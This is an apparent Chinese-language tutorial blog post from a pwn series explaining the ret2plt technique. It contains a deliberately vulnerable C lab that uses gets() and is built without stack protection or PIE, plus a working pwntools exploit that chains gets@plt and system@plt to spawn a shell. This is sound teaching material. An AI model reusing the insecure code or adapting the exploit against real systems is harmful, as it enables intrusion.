iT邦幫忙

2025 iThome 鐵人賽

DAY 11
0
Security

現在是pwn的天下!系列 第 11

【Day-11】Return to .plt

  • 分享至 

  • xImage
  •  

前言

在漏洞利用中,如果我們能夠控制程式的返回位址,但無法直接調用 libc 中的函數,我們可以利用 PLT(Procedure Linkage Table)作為中介,間接調用GOT以取得動態鏈接的真實位址,這種技巧被稱為 ret2plt

背景

GOT跟PLT是甚麼

  • GOT:儲存動態鏈接後函數的真實位址
  • PLT:負責呼叫GOT裡的位址,如果尚未解析,會先呼叫dynamic linker

為甚麼要用ret2plt

  • 有時候ASLR開啟,libc位址未知
  • 如果要串的行為本身有function的binary中,例如,binary本身有puts(),我們可以直接ROP把參數放好直接使用它,就不用ROP全部的行為
  • 透過調用puts@plt 並輸出GOT表上的位址,就能泄漏libc
  • 在18.04以前大部分default pie都是關的

我這裡以open舉一個例子:
假如我今天要用rop串open
那我就要這樣組
https://ithelp.ithome.com.tw/upload/images/20250815/20172088ImVnBGvB7k.png
但是透過ret2plt我們可以不用這麼麻煩,像是這樣
https://ithelp.ithome.com.tw/upload/images/20250815/20172088caOocK30bA.png

對比這兩張圖可以發現

  • 有PLT ==> 直接呼叫,省略很多麻煩的步驟,例如堆gadgets
  • 沒PLT ==> 只能ROP

那就可以利用這個機制,假如有system()的function
就可以透過這樣拿到shell
https://ithelp.ithome.com.tw/upload/images/20250815/20172088KSYV92lxmN.png

LAB

ret2plt.c:

#include <stdio.h>
#include <stdlib.h>

void gadget() {    // 自建gadget
    __asm__ volatile ("pop %rdi; ret;");
}

int main(){
    system( "What do you want to say? " );
    char buf[0x30];
    gets( buf );
    return 0;
}

makefile:

ret2plt: ret2plt.c
        gcc ret2plt.c  -o ret2plt -fno-stack-protector -no-pie -Wno-implicit-function-declaration

首先我們可以先查看一下這個檔案是dynamic linking類型,也就意味著我很難去串ROP,因為gadget很少
https://ithelp.ithome.com.tw/upload/images/20250815/20172088Ut3nRq8WQk.png
接下來我們需要去把我們等下要用的plt都抓出來,我們需要的是gets@plt跟system@plt
https://ithelp.ithome.com.tw/upload/images/20250815/201720886esQkqiWky.png
再來我們要去找pop rdi的位址
https://ithelp.ithome.com.tw/upload/images/20250815/2017208830Zc2IaK28.png
再去拿bss
https://ithelp.ithome.com.tw/upload/images/20250815/20172088NRVD1HHmMs.png
可以發現程式要求輸入的時候是以d結尾
https://ithelp.ithome.com.tw/upload/images/20250815/20172088TtP0ZcpIWl.png
蒐集完線索就可以寫exp了

exp.py:

from pwn import *

context.arch = 'amd64'

r = process('./ret2plt')

system_plt = 0x401030
gets_plt   = 0x401040
bss        = 0x404020  
pop_rdi    = 0x40113a

# payload
payload = flat(
    b'a' * 0x38,
    pop_rdi, bss,    
    gets_plt,
    pop_rdi, bss,    
    system_plt
)

r.sendlineafter(b'd', payload)

r.sendline(b'sh')

r.interactive()
                          

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250815/20172088T4ZofqRG17.png


上一篇
【Day-10】GOT hijacking
下一篇
【Day-12】Return to libc
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言